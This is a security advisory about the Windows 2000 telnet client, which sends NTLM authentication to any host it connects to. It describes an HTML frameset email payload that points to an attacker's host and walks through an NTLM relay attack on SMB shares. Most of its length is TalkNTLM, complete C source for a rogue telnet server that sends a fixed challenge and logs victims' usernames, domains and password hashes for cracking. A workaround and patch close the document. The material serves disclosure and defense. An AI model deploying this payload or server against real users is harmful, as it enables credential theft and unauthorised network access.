COMMAND
telnet
SYSTEMS AFFECTED
Windows 2000
PROBLEM
Following is based at @stake Security Advisory by DilDog. The
telnet client in Windows 2000 may be launched via e-mail or web
browsing, causing undesirable outbound authentication over the
Internet to an untrusted third party. This can lead to
compromised passwords or stolen credentials.
The console telnet client that is packaged with Windows 2000
performs NTLM authentication by default, assuming that is going to
be connecting to a Windows 2000 telnet server. This, however, is
not necessarily the case, and it attempts authentication with any
host it contacts. This combined with the fact that many email and
web browser packages will parse the "telnet://" protocol and
launch the telnet client to the desired host can lead to outbound
NTLM authentications. These authentications can be cracked to
determine passwords, or replayed to illegitimately access
networked resources. The protocol used in the NTLM telnet
transaction is described in detail below, and a proof of concept
tool is provided that demonstrates the negotiation and logs
responses from the client.
Windows 2000 is packaged with a console mode telnet client,
specially designed for connecting to the Windows Telnet Server.
Amongst the modifications to the standard telnet protocol,
Microsoft has added a negotiation type to authenticate via NTLM
with the target server, per the IETF working draft:
http://www.ietf.org/internet-drafts/draft-tso-telnet-auth-enc-05.txt
The NTLM protocol is authentication type 15. The telnet client
will attempt negotiation with any server on the Internet,
regardless of zone control or otherwise, unless NTLM
authentication has been disabled in the telnet client (it is on
by default).
Initially, this seems benign, but when combined with the fact that
Microsoft Internet Explorer, Outlook, Outlook Express, and
Netscape Navigator and Messenger will all open telnet
automatically when they encounter a "telnet://" URL. This allows
an attacker to craft an email in the following format that forces
an outbound authentication over any port:
<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet://evil.ip.address:port>
</frameset>
</html>
Note that this attack affects a multitude of HTML parsers, and is
not reliant upon any form of Active Scripting, Javascript or
otherwise, to launch the telnet client to the desired host.
One of the severe ramafications of this is the ability for the
NTLM challenge/response to be replayed to access a network
resource. The scenario is as follows:
A=attacker
C=client
S=server (network resource to attack)
C has legitimate access to S
1. 'A' sends evil framed email to 'C'.
2. 'C' reads email, opens telnet connection to 'A'
3. 'A' receives telnet connection and makes SMB connection to
'S'.
4. 'S' receives SMB connection and sends challenge to 'A'
5. 'A' sends challenge to 'C'.
6. 'C' receives challenge, encrypts with hash, and sends
response to 'A'.
7. 'A' receives response and sends it to 'S'.
8. 'S' receives response and authenticates 'A' to access
requested SMB share.
Another attack that is possible, is that since the challenge is
chosen by the telnet server, a challenge could be specially chosen
to send to the telnet client such that the response more easily
cracked than with a random challenge. This effectively removes
the extra complexity added by the challenge response mechanism
that one normally encounters while attempting to crack passwords
that were sniffed off of a network transaction.
The normal NTLM challenge/response negotiation sequence occurs in
the telnet protocol data stream in the following fashion:
Nomenclature
============
IAC=255,DONT=254,DO=253,WONT=252,WILL=251,SB=250,SE=240
AUTH=37,IS=0,SEND=1,REPLY=2,NAME=3,NTLM=15
DD=32 bit little endian data
DW=16 bit little endian data
DB=8 bit little endian data
US=Unicode string, no extra null terminator
AS=Ansi string, no extra null terminator
Client Server
======================== ========================
IAC WILL AUTH
IAC SB AUTH
SEND NTLM 0x00 IAC SE
IAC SB AUTH
IS NTLM 0x00 0x00
DD 0x00000020 ; Length
DD 0x00000002 ; Type
AS "NTLMSSP\0" ; Signature
DD 0x00000001 ; Sequence #
DD 0xE0008297 ; ?Flags?
DD 0x00000000 ; Padding (room for client challenge?)
DD 0x00000000
DD 0x00000000
DD 0x00000000
IAC SE
IAC SB AUTH
REPLY NTLM 0x00 0x01
DD 0x000000A8 ; Length
DD 0x00000002 ; Type
AS "NTLMSSP\0" ; Signature
DD 0x00000002 ; Sequence#
DW 0x0014,0x0014 ; Field
; length (min/max)
DD 0x00000030 ; Offset
; from start
DD 0xE0828295 ; ?Flags?
DB 0x01 0x02 0x03 0x04 ; 8 byte
DB 0x02 0x03 0x04 0x05 ; Challenge
DD 0x00000000 ; Padding
DD 0x00000000
DW 0x0064,0x0064 ; Next
; Field
; length(min/max)
DD 0x00000044 ; Offset
; from start
... other fields...
IAC SB AUTH
IS NTLM 0x00 0x02
DD 0x000000B4 ; Length
DD 0x00000002 ; Type
AS "NTLMSSP\0" ; Signature
DD 0x00000003 ; Sequence
DW 0x0018,0x0018 ; NTLM Response Field length (min/max)
DD 0x00000074 ; NTLM Response Offset
DW 0x0018,0x0018 ; LM Response Field length (min/max)
DD 0x0000008C ; LM Response Offset
DW 0x0014,0x0014 ; Domain Name Field length (min/max)
DD 0x00000040 ; Domain Name Offset
DW 0x000C,0x000C ; User Name Field length (min/max)
DD 0x00000054 ; User Name Offset
DW 0x0014,0x0014 ; Machine Name Field length (min/max)
DD 0x00000060 ; Machine Name Offset
DW 0x0010,0x0010 ; ??? Field length (min/max)
DD 0x000000A4 ; ??? Offset
DD 0xE0808295 ; ?Flags?
US "ABCDEGHIJK" ; Domain Name
US "foobar" ; User Name
US "ABCDEGHIJK" ; Machine Name
DB 1,2,3,4,5,6,7,8 ; 24 Bytes of NTLM Response
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8 ; 24 Bytes of LM Response
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8 ; 16 Bytes of Unknown Cruft
DB 1,2,3,4,5,6,7,8
IAC SE
IAC SB AUTH
REPLY NTLM 0x00 0x03
DD 0xFDFFF0FF ; Flags?
DB 0x18
....
Following code will act as a rogue telnet server, and send a
constant challenge of 0xFF bytes to any telnet client that
connects to it, and it logs the response to a disk file. The code
was written under Linux.
/* TalkNTLM - NTLM Logging Telnet Server
* dildog@atstake.com
* 8/14/00
* Copyright (C) 2000 @stake, Inc.
*/
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#define MAJOR_VERSION 1
#define MINOR_VERSION 0
#define IAC 255 /* interpret as command: */
#define DONT 254 /* you are not to use option */
#define DO 253 /* please, you use option */
#define WONT 252 /* I won't use option */
#define WILL 251 /* I will use option */
#define SB 250 /* interpret as subnegotiation */
#define SE 240 /* end sub negotiation */
#define AUTH 37
#define IS 0
#define SEND 1
#define REPLY 2
#define NAME 3
#define NTLM 15
#define ACCEPT 1
typedef enum {
METHOD_NONE=0,
METHOD_TELNET
} METHOD;
typedef enum {
SUBMETHOD_NONE=0,
SUBMETHOD_LOG,
} SUBMETHOD;
#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];
void error(const char *str)
{
fflush(stdout);
fprintf(stderr,str);
fflush(stderr);
}
unsigned char getb(void)
{
unsigned char b=0;
fread(&b,1,1,g_fCommSock);
return b;
}
unsigned short getdwl(void)
{
unsigned short s=0;
s|=((unsigned short)getb());
s|=((unsigned short)getb())<<8;
return s;
}
unsigned long getddl(void)
{
unsigned long l=0;
l|=((unsigned long)getb());
l|=((unsigned long)getb())<<8;
l|=((unsigned long)getb())<<16;
l|=((unsigned long)getb())<<24;
return l;
}
void putb(unsigned char c)
{
fwrite(&c,1,1,g_fCommSock);
}
void putdwl(unsigned short w)
{
putb(w&255);
putb((w>>8)&255);
}
void putddl(unsigned long d)
{
putb(d&255);
putb((d>>8)&255);
putb((d>>16)&255);
putb((d>>24)&255);
}
void putarrb(int n, unsigned char *b)
{
int i;
for(i=0;i<n;i++) {
putb(b[i]);
}
}
void putarrc(int n, char *c)
{
putarrb(n,(unsigned char *)c);
}
void putflush(void)
{
fflush(g_fCommSock);
}
void debugb(unsigned char c)
{
fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}
int listenport(int port, struct sockaddr_in *rsaddr)
{
// Create socket
int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s<0) {
error("couldn't create socket.\n");
return -1;
}
int reuse=1;
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(int))<0) {
error("couldn't set socket option.\n");
close(s);
return -2;
}
// Bind to port
struct sockaddr_in saddr;
memset(&saddr,0,sizeof(struct sockaddr_in));
saddr.sin_port=htons(port);
saddr.sin_family=AF_INET;
if(bind(s,(struct sockaddr *)&saddr,sizeof(struct sockaddr_in))<0) {
error("couldn't bind.\n");
close(s);
return -3;
}
// Listen on port;
if(listen(s,1)<0) {
error("couldn't listen.\n");
close(s);
return -4;
}
// Accept connection
unsigned int socklen=sizeof(struct sockaddr_in);
memset(rsaddr,0,socklen);
int as;
if((as=accept(s,(struct sockaddr *)rsaddr,&socklen))<0) {
error("couldn't accept.\n");
close(s);
return -5;
}
// Close listener
close(s);
return as;
}
int do_telnet_log(int port, char *logfile)
{
FILE *lf=NULL;
while(1) {
// Wait for telnet connection to come in
struct sockaddr_in saddr;
int s;
printf("listening on port %d.\n",port);
if((s=listenport(port,&saddr))<0) {
error("telnet logging abort.\n");
return -1;
}
printf("recieved telnet connection from %s:%u.\n",
inet_ntoa(saddr.sin_addr),ntohs(saddr.sin_port));
// Set this socket as out buffered packet socket
g_fCommSock=fdopen(s,"r+b");
if(g_fCommSock==NULL) {
error("couldn't fdopen comm socket.\n");
close(s);
return -2;
}
setvbuf(g_fCommSock,g_CommSockBuf,_IOFBF,COMMSOCK_BUFSIZ);
// Open logging file
lf=fopen(logfile,"a+t");
if(lf==NULL) {
error("couldn't open log file.\n");
fclose(g_fCommSock);
return -3;
}
// Challenge to send
unsigned char challenge[8]={255,255,255,255,255,255,255,255};
// Start authentication process
unsigned char *respbuf=NULL;
int size=0;
putb(IAC);
putb(DO);
putb(AUTH);
putflush();
printf(">> IAC DO AUTH\n");
// See if client wants to authenticate
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=WILL) goto telnetlogfail;
if(getb()!=AUTH) goto telnetlogfail;
printf("<< IAC WILL AUTH\n");
// Present authentication methods
putb(IAC);
putb(SB);
putb(AUTH);
putb(SEND);
putb(NTLM);
putb(0);
putb(IAC);
putb(SE);
putflush();
printf(">> IAC SB AUTH SEND NTLM 0 IAC SE\n");
// Get NTLMSSP initial request
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SB) goto telnetlogfail;
if(getb()!=AUTH) goto telnetlogfail;
if(getb()!=IS) goto telnetlogfail;
if(getb()!=NTLM) goto telnetlogfail;
if(getb()!=0) goto telnetlogfail;
if(getb()!=0) goto telnetlogfail;
size=getddl()+4;
if(size>2048) goto telnetlogfail;
respbuf=(unsigned char *)malloc(size);
int i;
for(i=0;i<size;i++) {
respbuf[i]=getb();
}
free(respbuf);
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SE) goto telnetlogfail;
printf("<< IAC SB AUTH IS NTLM 0 0 ... IAC SE\n");
// Send accept
putb(IAC);
putb(SB);
putb(AUTH);
putb(REPLY);
putb(NTLM);
putb(0);
putb(ACCEPT);
putddl(0xA8);
putddl(0x2);
putarrc(8,"NTLMSSP");
putddl(0x2);
putdwl(0x14);
putdwl(0x14);
putddl(0x30);
putddl(0xE0828295);
putarrb(8,challenge);
putarrc(8,"\0\0\0\0\0\0\0\0");
putdwl(0x64);
putdwl(0x64);
putddl(0x44);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x2);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x1);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x4);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putdwl(0x3);
putdwl(0x14);
putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
putddl(0);
putb(IAC);
putb(SE);
putflush();
printf(">> IAC SB AUTH REPLY NTLM 0 1 ... challenge ... IAC SE\n");
// Get the reply packet
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SB) goto telnetlogfail;
if(getb()!=AUTH) goto telnetlogfail;
if(getb()!=IS) goto telnetlogfail;
if(getb()!=NTLM) goto telnetlogfail;
if(getb()!=0) goto telnetlogfail;
if(getb()!=2) goto telnetlogfail;
size=getddl()+4;
if(size>2048 || size<64) goto telnetlogfail;
printf("8\n");
respbuf=(unsigned char *)malloc(size);
for(i=0;i<size;i++) {
respbuf[i]=getb();
//fprintf(stderr,"%2.2X: ",i);
//debugb(respbuf[i]);
}
if(getb()!=IAC) goto telnetlogfail;
if(getb()!=SE) goto telnetlogfail;
printf("<< IAC SB AUTH IS NTLM 0 2 ... response ... IAC SE\n");
// Get username
int usernamelen,usernameoff;
char *username;
usernamelen=respbuf[0x28] | (respbuf[0x29]<<8);
usernameoff=respbuf[0x2C] | (respbuf[0x2D]<<8) |
(respbuf[0x2E]<<16) | (respbuf[0x2F]<<24);
username=(char *)malloc(usernamelen);
if(!username) goto telnetlogfail;
memcpy(username,&respbuf[usernameoff+4],usernamelen);
printf("Username: ");
for(i=0;i<usernamelen;i+=2) {
printf("%c",username[i]);
fprintf(lf,"%c",username[i]);
username[i>>1]=username[i];
}
usernamelen>>=1;
printf("\n");
fprintf(lf,":");
free(username);
// Get domainname
int domainnamelen,domainnameoff;
char *domainname;
domainnamelen=respbuf[0x20] | (respbuf[0x21]<<8);
domainnameoff=respbuf[0x24] | (respbuf[0x25]<<8) |
(respbuf[0x26]<<16) | (respbuf[0x27]<<24);
domainname=(char *)malloc(domainnamelen);
if(!domainname) goto telnetlogfail;
memcpy(domainname,&respbuf[domainnameoff+4],domainnamelen);
printf("Domain: ");
for(i=0;i<domainnamelen;i+=2) {
printf("%c",domainname[i]);
fprintf(lf,"%c",username[i]);
domainname[i>>1]=domainname[i];
}
domainnamelen>>=1;
printf("\n");
fprintf(lf,":");
free(domainname);
// Write challenge
fprintf(lf,"%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X:",
challenge[0],challenge[1],challenge[2],challenge[3],
challenge[4],challenge[5],challenge[6],challenge[7]);
// Get NT response
int ntresplen,ntrespoff;
unsigned char *ntresp;
ntresplen=respbuf[0x10] | (respbuf[0x11]<<8);
ntrespoff=respbuf[0x14];// | (respbuf[0x15]<<8) | (respbuf[0x16]<<16) | (respbuf[0x17]<<24);
ntresp=(unsigned char *)malloc(ntresplen);
if(!ntresp) goto telnetlogfail;
memcpy(ntresp,&respbuf[ntrespoff+4],ntresplen);
printf("NT Response:\n");
for(i=0;i<ntresplen;i++) {
printf("%2.2X ",ntresp[i]);
fprintf(lf,"%2.2X",ntresp[i]);
if(i%8==7) printf("\n");
}
printf("\n");
fprintf(lf,":");
free(ntresp);
// Get LM response
int lmresplen,lmrespoff;
unsigned char *lmresp;
lmresplen=respbuf[0x18] | (respbuf[0x19]<<8);
lmrespoff=respbuf[0x1C] | (respbuf[0x1D]<<8) |
(respbuf[0x1E]<<16) | (respbuf[0x1F]<<24);
lmresp=(unsigned char *)malloc(lmresplen);
if(!lmresp) goto telnetlogfail;
memcpy(lmresp,&respbuf[lmrespoff+4],lmresplen);
printf("LM Response:\n");
for(i=0;i<lmresplen;i++) {
printf("%2.2X ",lmresp[i]);
fprintf(lf,"%2.2X",lmresp[i]);
if(i%8==7) printf("\n");
}
printf("\n");
fprintf(lf,"\n");
free(lmresp);
free(respbuf);
fclose(lf);
// Close the telnet session
fclose(g_fCommSock);
printf("closed telnet socket.\n");
}
return 0;
telnetlogfail:; // Failure
if(lf!=NULL)
fclose(lf);
printf("telnet negotiation failed.\n");
fclose(g_fCommSock);
return -5;
}
void usage(char *progname,int exitcode)
{
printf("talkntlm v%d.%d (%s)\n",MAJOR_VERSION,MINOR_VERSION,progname);
printf("usage: talkntlm -t [-p <port>] -l <challenge response logfile>\n",progname);
exit(exitcode);
}
int main(int argc, char *argv[])
{
unsigned char b;
int i,tp;
// Get options
int opt_port=0;
char *opt_logfile=NULL;
METHOD opt_method=METHOD_NONE;
SUBMETHOD opt_submethod=SUBMETHOD_NONE;
char oc;
while((oc=getopt(argc,argv,"l:p:t"))>0) {
switch(oc) {
case 't':
opt_method=METHOD_TELNET;
if(opt_port==0) {
opt_port=23;
}
break;
case 'p':
opt_port=atoi(optarg);
break;
case 'l':
opt_logfile=optarg;
if(opt_submethod!=SUBMETHOD_NONE)
usage(argv[0],-2);
opt_submethod=SUBMETHOD_LOG;
break;
default:
usage(argv[0],-3);
break;
}
}
// Go to the particular method
if(opt_method==METHOD_NONE) {
usage(argv[0],-4);
}
else if(opt_method==METHOD_TELNET) {
// Telnet methods
if(opt_submethod==SUBMETHOD_NONE) {
usage(argv[0],-5);
}
else if(opt_submethod==SUBMETHOD_LOG) {
// Telnet hash logging
if(opt_logfile==NULL) {
usage(argv[0],-7);
}
if(do_telnet_log(opt_port,opt_logfile)!=0)
return -8;
}
}
return 0;
}
SOLUTION
Run "telnet" at the command prompt, enter "unset ntlm" and then
exit telnet to save your preferences into the registry. You may
go so far as removing the telnet URL type from the registry if you
are a proficient registry hacker, unsetting the NTLM
authentication should be sufficient until an official patch is
available. This is workaround.
Patch availability:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24399
This patch may be applied to both Windows 2000 (pre SP1) and
Windows 2000 Service Pack 1 systems. This patch was rereleased on
21st September.